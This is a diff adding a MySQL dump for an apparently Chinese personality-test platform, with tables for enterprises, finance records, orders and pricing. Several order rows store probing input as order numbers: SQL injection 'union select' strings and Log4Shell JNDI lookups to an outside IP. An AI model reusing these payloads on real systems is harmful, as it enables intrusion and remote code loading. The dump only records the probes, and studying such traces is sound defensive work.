`contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `balance` int(11) NULL DEFAULT 0 COMMENT '余额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用', + `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_code`(`code`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_enterprises +-- ---------------------------- +INSERT INTO `mbti_enterprises` VALUES (5, '存客宝', '3213213424234234', '存客宝', '18888888888', 'ckb@qq.com', 100000, 'operating', NULL, NULL, 1770878340, 1770879288); +INSERT INTO `mbti_enterprises` VALUES (6, '测试', '', '测试', '', '', 97507, 'operating', NULL, NULL, 1772174277, 1773286899); + +-- ---------------------------- +-- Table structure for mbti_finance_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_finance_records`; +CREATE TABLE `mbti_finance_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_finance_records +-- ---------------------------- +INSERT INTO `mbti_finance_records` VALUES (1, 6, 'recharge', 100, 100000, 100100, '企业后台充值', NULL, 1773042479); +INSERT INTO `mbti_finance_records` VALUES (2, 6, 'recharge', 2, 100100, 100102, '企业余额充值', 78, 1773043904); +INSERT INTO `mbti_finance_records` VALUES (3, 6, 'consume', 100, 100102, 100002, '佣金支出:测试完成分销', NULL, 1773043973); +INSERT INTO `mbti_finance_records` VALUES (4, 6, 'consume', 100, 100002, 99902, '佣金支出:用户wong测试DISC完成分销', NULL, 1773044496); +INSERT INTO `mbti_finance_records` VALUES (5, 6, 'consume', 100, 99902, 99802, '佣金支出:用户wong测试MBTI完成分销', NULL, 1773047081); +INSERT INTO `mbti_finance_records` VALUES (6, 6, 'consume', 100, 99802, 99702, '佣金支出:用户wong测试PDP完成分销', NULL, 1773047135); +INSERT INTO `mbti_finance_records` VALUES (7, 6, 'consume', 100, 99702, 99602, '佣金支出:用户wong测试人脸完成分销', NULL, 1773047512); +INSERT INTO `mbti_finance_records` VALUES (8, 6, 'recharge', 5, 99602, 99607, '企业余额充值', 79, 1773048748); +INSERT INTO `mbti_finance_records` VALUES (9, 6, 'consume', 100, 99607, 99507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109282); +INSERT INTO `mbti_finance_records` VALUES (10, 6, 'consume', 100, 99507, 99407, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109762); +INSERT INTO `mbti_finance_records` VALUES (11, 6, 'consume', 100, 99407, 99307, '佣金支出:用户wong测试DISC完成分销', NULL, 1773131848); +INSERT INTO `mbti_finance_records` VALUES (12, 6, 'consume', 100, 99307, 99207, '佣金支出:用户wong测试DISC完成分销', NULL, 1773132145); +INSERT INTO `mbti_finance_records` VALUES (13, 6, 'consume', 100, 99207, 99107, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773132630); +INSERT INTO `mbti_finance_records` VALUES (14, 6, 'consume', 100, 99107, 99007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773197745); +INSERT INTO `mbti_finance_records` VALUES (15, 6, 'consume', 100, 99007, 98907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214232); +INSERT INTO `mbti_finance_records` VALUES (16, 6, 'consume', 100, 98907, 98807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214528); +INSERT INTO `mbti_finance_records` VALUES (18, 6, 'consume', 100, 98807, 98707, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216370); +INSERT INTO `mbti_finance_records` VALUES (19, 6, 'consume', 100, 98707, 98607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216422); +INSERT INTO `mbti_finance_records` VALUES (20, 6, 'consume', 100, 98607, 98507, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773218291); +INSERT INTO `mbti_finance_records` VALUES (21, 6, 'consume', 100, 98507, 98407, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219018); +INSERT INTO `mbti_finance_records` VALUES (22, 6, 'consume', 100, 98407, 98307, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219370); +INSERT INTO `mbti_finance_records` VALUES (23, 6, 'consume', 100, 98307, 98207, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773279222); +INSERT INTO `mbti_finance_records` VALUES (24, 6, 'consume', 100, 98207, 98107, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279937); +INSERT INTO `mbti_finance_records` VALUES (25, 6, 'consume', 100, 98107, 98007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279975); +INSERT INTO `mbti_finance_records` VALUES (26, 6, 'consume', 100, 98007, 97907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280023); +INSERT INTO `mbti_finance_records` VALUES (27, 6, 'consume', 100, 97907, 97807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280177); +INSERT INTO `mbti_finance_records` VALUES (28, 6, 'consume', 100, 97807, 97707, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773280251); +INSERT INTO `mbti_finance_records` VALUES (29, 6, 'consume', 100, 97707, 97607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773285873); +INSERT INTO `mbti_finance_records` VALUES (30, 6, 'consume', 100, 97607, 97507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773286899); + +-- ---------------------------- +-- Table structure for mbti_orders +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_orders`; +CREATE TABLE `mbti_orders` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID', + `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号', + `userId` int(11) NOT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report', + `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled', + `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式', + `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_productType`(`productType`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_orders +-- ---------------------------- +INSERT INTO `mbti_orders` VALUES (1, 'PRICING_FACE_1772089133925_w3vbrw21y', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772089134, 1772089134); +INSERT INTO `mbti_orders` VALUES (2, 'PRICING_FACE_1772090075546_356dgx1p5', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090076, 1772090076); +INSERT INTO `mbti_orders` VALUES (3, 'PRICING_FACE_1772090114882_0ls0o4pi7', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090115, 1772090115); +INSERT INTO `mbti_orders` VALUES (4, 'PRICING_FACE_1772090190409_iqmo3j1pe', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090190, 1772090190); +INSERT INTO `mbti_orders` VALUES (5, 'PRICING_FACE_1772090275759_jyi8mv35p', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090276, 1772090276); +INSERT INTO `mbti_orders` VALUES (6, 'FACE20260226152307073', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090588, 1772090588); +INSERT INTO `mbti_orders` VALUES (7, 'FACE20260226152404303', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090644, 1772090644); +INSERT INTO `mbti_orders` VALUES (8, 'FACE20260226152832306', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772090934, NULL, 1772090912, 1772090934); +INSERT INTO `mbti_orders` VALUES (9, 'FACE20260226153553785', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772091353, 1772091353); +INSERT INTO `mbti_orders` VALUES (10, 'FACE20260226153623705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772091404, NULL, 1772091384, 1772091404); +INSERT INTO `mbti_orders` VALUES (11, 'FACE20260226154812416', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772092110, NULL, 1772092093, 1772092110); +INSERT INTO `mbti_orders` VALUES (12, 'FACE20260226162301604', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772094181, 1772094181); +INSERT INTO `mbti_orders` VALUES (13, 'FACE20260226163358556', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', NULL, NULL, 1772094839, 1772094854); +INSERT INTO `mbti_orders` VALUES (14, 'FACE20260226163926361', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095181, NULL, 1772095167, 1772095185); +INSERT INTO `mbti_orders` VALUES (15, 'FACE20260226164046272', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095665, NULL, 1772095246, 1772095672); +INSERT INTO `mbti_orders` VALUES (16, 'FACE20260226164944760', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772095784, 1772095784); +INSERT INTO `mbti_orders` VALUES (17, 'FACE20260226165244539', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095977, '4200003057202602263224922979', 1772095964, 1772095983); +INSERT INTO `mbti_orders` VALUES (18, 'FACE20260226170030122', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096444, '4200003092202602260876839499', 1772096431, 1772096449); +INSERT INTO `mbti_orders` VALUES (19, 'FACE20260226170133172', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772096493, 1772096493); +INSERT INTO `mbti_orders` VALUES (20, 'FACE20260226170933731', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096995, '4200003093202602260617366122', 1772096974, 1772096998); +INSERT INTO `mbti_orders` VALUES (21, 'FACE20260226171256984', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097190, '4200003079202602265982139638', 1772097177, 1772097195); +INSERT INTO `mbti_orders` VALUES (22, 'FACE20260226171740492', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097475, '4200003005202602265395181321', 1772097460, 1772097481); +INSERT INTO `mbti_orders` VALUES (23, 'FACE20260226172256808', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097793, '4200003004202602262256134923', 1772097776, 1772097797); +INSERT INTO `mbti_orders` VALUES (24, 'FACE20260226172840499', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772098134, '4200003065202602264599802773', 1772098120, 1772098138); +INSERT INTO `mbti_orders` VALUES (25, 'MBTI20260227095042214', 1, NULL, 'mbti', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772157043, 1772157043); +INSERT INTO `mbti_orders` VALUES (26, 'MBTI20260227095133161', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772157110, '4200003061202602274041761513', 1772157093, 1772157115); +INSERT INTO `mbti_orders` VALUES (27, 'PDP20260227095648617', 1, NULL, 'pdp', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772157409, 1772157409); +INSERT INTO `mbti_orders` VALUES (28, 'PDP20260227095712530', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772157446, '4200003053202602271167896255', 1772157433, 1772157451); +INSERT INTO `mbti_orders` VALUES (29, 'DISC20260227095750455', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772157482, '4200003062202602275887289276', 1772157471, 1772157485); +INSERT INTO `mbti_orders` VALUES (30, 'VIP20260227105804939', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772161084, 1772161084); +INSERT INTO `mbti_orders` VALUES (31, 'DISC20260227140349408', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172257, '4200003058202602279679035020', 1772172229, 1772172260); +INSERT INTO `mbti_orders` VALUES (32, 'DISC20260227141329158', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172825, '4200003077202602274832092050', 1772172810, 1772172828); +INSERT INTO `mbti_orders` VALUES (33, 'PDP20260227141402259', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772172854, '4200003080202602273303069247', 1772172842, 1772172860); +INSERT INTO `mbti_orders` VALUES (34, 'MBTI20260227141433083', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772172885, '4200003003202602279020606269', 1772172874, 1772172888); +INSERT INTO `mbti_orders` VALUES (35, 'FACE20260227141457505', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772172909, '4200003065202602279276113364', 1772172897, 1772172912); +INSERT INTO `mbti_orders` VALUES (36, 'FACE20260228140351722', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772258632, 1772258632); +INSERT INTO `mbti_orders` VALUES (37, 'FACE20260228141854577', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772259535, 1772259535); +INSERT INTO `mbti_orders` VALUES (38, 'FACE20260228152851705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772263738, '4200003080202602288946868189', 1772263731, 1772263740); +INSERT INTO `mbti_orders` VALUES (39, 'VIP20260228175015395', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772272217, 1772272217); +INSERT INTO `mbti_orders` VALUES (40, 'FACE20260228180843875', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772273330, '4200003006202602289813276712', 1772273324, 1772273332); +INSERT INTO `mbti_orders` VALUES (41, 'VIP20260228182241062', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772274162, 1772274162); +INSERT INTO `mbti_orders` VALUES (42, 'DPER20260302162035667', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439635, 1772439635); +INSERT INTO `mbti_orders` VALUES (43, 'DPER20260302162106725', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439666, 1772439666); +INSERT INTO `mbti_orders` VALUES (44, 'DPER20260302162210643', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439730, 1772439730); +INSERT INTO `mbti_orders` VALUES (45, 'DPER20260302162457651', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439897, 1772439897); +INSERT INTO `mbti_orders` VALUES (46, 'DPER20260302162616910', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439976, 1772439976); +INSERT INTO `mbti_orders` VALUES (47, 'DPER20260302163510075', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440510, 1772440510); +INSERT INTO `mbti_orders` VALUES (48, 'DPER20260302163948487', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440789, 1772440789); +INSERT INTO `mbti_orders` VALUES (49, 'DPER20260302164000818', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772440800, 1772440800); +INSERT INTO `mbti_orders` VALUES (50, 'DPER20260302164034604', 1, NULL, 'deep_personal', NULL, 1, 'paid', 'wechat', 1772440841, '4200003080202603024809173091', 1772440834, 1772440846); +INSERT INTO `mbti_orders` VALUES (51, 'DPER20260302164828836', 1, NULL, 'deep_personal', '个人深度洞察测试版', 1, 'paid', 'wechat', 1772441323, '4200003071202603028924341619', 1772441308, 1772441326); +INSERT INTO `mbti_orders` VALUES (52, 'FACE20260303144952267', 1, 5, 'face', 'AI人脸性格分析完整报告', 200, 'pending', 'wechat', NULL, NULL, 1772520593, 1772520593); +INSERT INTO `mbti_orders` VALUES (53, 'FACE20260303145028544', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772520628, 1772520628); +INSERT INTO `mbti_orders` VALUES (54, 'FACE20260303153333300', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772523215, 1772523215); +INSERT INTO `mbti_orders` VALUES (55, 'DPER20260304110938288', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593778, 1772594061); +INSERT INTO `mbti_orders` VALUES (56, 'DPER20260304110938288\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593911, 1772593911); +INSERT INTO `mbti_orders` VALUES (57, 'DPER20260304110938288\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593912, 1772593912); +INSERT INTO `mbti_orders` VALUES (58, 'DPER20260304110938288\' union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913); +INSERT INTO `mbti_orders` VALUES (59, 'DPER20260304110938288\' union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913); +INSERT INTO `mbti_orders` VALUES (60, '\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593935, 1772593935); +INSERT INTO `mbti_orders` VALUES (61, '\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936); +INSERT INTO `mbti_orders` VALUES (62, '\" union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936); +INSERT INTO `mbti_orders` VALUES (63, '\" union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593937, 1772593937); +INSERT INTO `mbti_orders` VALUES (64, 'DPER20260304110938288\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593938, 1772593938); +INSERT INTO `mbti_orders` VALUES (65, 'DPER20260304110938288\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593941, 1772593941); +INSERT INTO `mbti_orders` VALUES (66, 'DPER20260304110938288\" union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593944, 1772593944); +INSERT INTO `mbti_orders` VALUES (67, 'DPER20260304110938288\" union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593945, 1772593945); +INSERT INTO `mbti_orders` VALUES (68, '\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593993, 1772593993); +INSERT INTO `mbti_orders` VALUES (69, '\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994); +INSERT INTO `mbti_orders` VALUES (70, '\' union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994); +INSERT INTO `mbti_orders` VALUES (71, '\' union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593995, 1772593995); +INSERT INTO `mbti_orders` VALUES (72, '${jndi:ldap://183.47.120.213:1389/jdk18dd6cff356b8', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594035, 1772594035); +INSERT INTO `mbti_orders` VALUES (73, '${jndi:ldap://hostname-${hostName}.username-${sys:', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594037, 1772594037); +INSERT INTO `mbti_orders` VALUES (74, '${jndi:rmi://hostname-${hostName}.username-${sys:u', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594039, 1772594039); +INSERT INTO `mbti_orders` VALUES (75, 'aaaa\'%bf%27', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594047, 1772594047); +INSERT INTO `mbti_orders` VALUES (76, '${jndi:rmi://183.47.120.213:1099/bypassdbb5556f68f', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594048, 1772594048); +INSERT INTO `mbti_orders` VALUES (77, 'FACE20260306155303513', 1, 5, 'face', 'AI人脸性格分析完整报告', 101, 'pending', 'wechat', NULL, NULL, 1772783583, 1772783583); +INSERT INTO `mbti_orders` VALUES (78, 'RCG20260309161126129', 1, 6, 'recharge', '账户充值 ¥0.02', 2, 'paid', 'wechat', 1773043902, '4200003069202603099508909989', 1773043886, 1773043904); +INSERT INTO `mbti_orders` VALUES (79, 'RCG20260309173206082', 1, 6, 'recharge', '账户充值 ¥0.05', 5, 'paid', 'wechat', 1773048743, '4200003094202603093110277383', 1773048727, 1773048748); +INSERT INTO `mbti_orders` VALUES (80, 'DPER20260311145816460', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212308, '4200003094202603119078710446', 1773212296, 1773212314); +INSERT INTO `mbti_orders` VALUES (81, 'DPER20260311150058412', 1, NULL, 'deep_personal', '测试001', 1, 'pending', 'wechat', NULL, NULL, 1773212464, 1773212464); +INSERT INTO `mbti_orders` VALUES (82, 'DPER20260311150121076', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212493, '4200003001202603114491728544', 1773212482, 1773212497); +INSERT INTO `mbti_orders` VALUES (83, 'DPER20260312114701237', 2, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1773287221, 1773287221); + +-- ---------------------------- +-- Table structure for mbti_pricing_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_pricing_config`; +CREATE TABLE `mbti_pricing_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认', + `config` json NULL COMMENT '定价配置(JSON格式)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_pricing_config +-- ---------------------------- +INSERT INTO `mbti_pricing_config` VALUES (1, 'personal', NULL, '{\"pdp\": 0.01, \"disc\": 0.01, \"face\": 0.01, \"mbti\": 0.01, \"report\": 0}', 1770882450, 1773127359); +INSERT INTO `mbti_pricing_config` VALUES (2, 'enterprise', NULL, '{\"pdp\": 8, \"disc\": 8, \"face\": 8, \"mbti\": 8, \"report\": 15, \"minRecharge\": 100, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1770882450, 1773220907); +INSERT INTO `mbti_pricing_config` VALUES (3, 'deep', NULL, '{\"team\": 999, \"personal\": 199}', 1770882450, 1770882450); +INSERT INTO `mbti_pricing_config` VALUES (4, 'admin_personal', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 19.9}', 1770887324, 1773036920); +INSERT INTO `mbti_pricing_config` VALUES (5, 'admin_personal', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 0.02}', 1772161295, 1773036737); +INSERT INTO `mbti_pricing_config` VALUES (8, 'deep_personal', NULL, '{\"categories\": [{\"id\": \"1772268461984\", \"price\": 198, \"title\": \"个人深度洞察版\", \"features\": [\"AI面部分析(基于东方面相学与西方心理学)\", \"MBTI性格测试(16型人格完整解读)\", \"盖洛普优势Top5识别(发现你的核心天赋)\", \"PDP行为偏好分析(了解你的行为模式)\", \"DISC沟通风格分析(提升沟通效率)\", \"多维度综合性格报告(包含优势解读、潜在盲区提示)\", \"职业发展方向推荐(匹配最适合你的职业)\"], \"subtitle\": \"三张照片+问卷,全面解锁你的内在潜能\", \"priceUnit\": \"/次\", \"actionType\": \"buy\", \"productKey\": \"1772268461984\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。\"}]}', 1772268761, 1773212515); +INSERT INTO `mbti_pricing_config` VALUES (9, 'deep_enterprise', NULL, '{\"categories\": [{\"id\": \"1772268637136\", \"title\": \"团队启动版\", \"features\": [\"10人完成个人深度洞察报告\", \"1次团队动力诊断分析会(2-3小时)\", \"识别团队优势组合与潜在风险点\"], \"subtitle\": \"适合初创团队、小型部门\", \"userLimit\": \"最多10人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"19800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268677712\", \"title\": \"团队成长版\", \"features\": [\"最多30人完成个人深度洞察报告\", \"包含\\\"启动版\\\"所有内容\", \"1次定制化团队协作增效工作坊(7天)\", \"聚焦沟通优化、优势协作等主题\"], \"subtitle\": \"适合成长型团队\", \"userLimit\": \"10-30人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"39800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268704928\", \"title\": \"团队蜕变版\", \"features\": [\"最多100人完成个人深度洞察报告\", \"包含\\\"成长版\\\"所有内容\", \"更深度、更定制化的系列组合(≥2工作日)\", \"3个月的落地跟进顾问服务\"], \"subtitle\": \"适合中大型团队\", \"userLimit\": \"最多100人\", 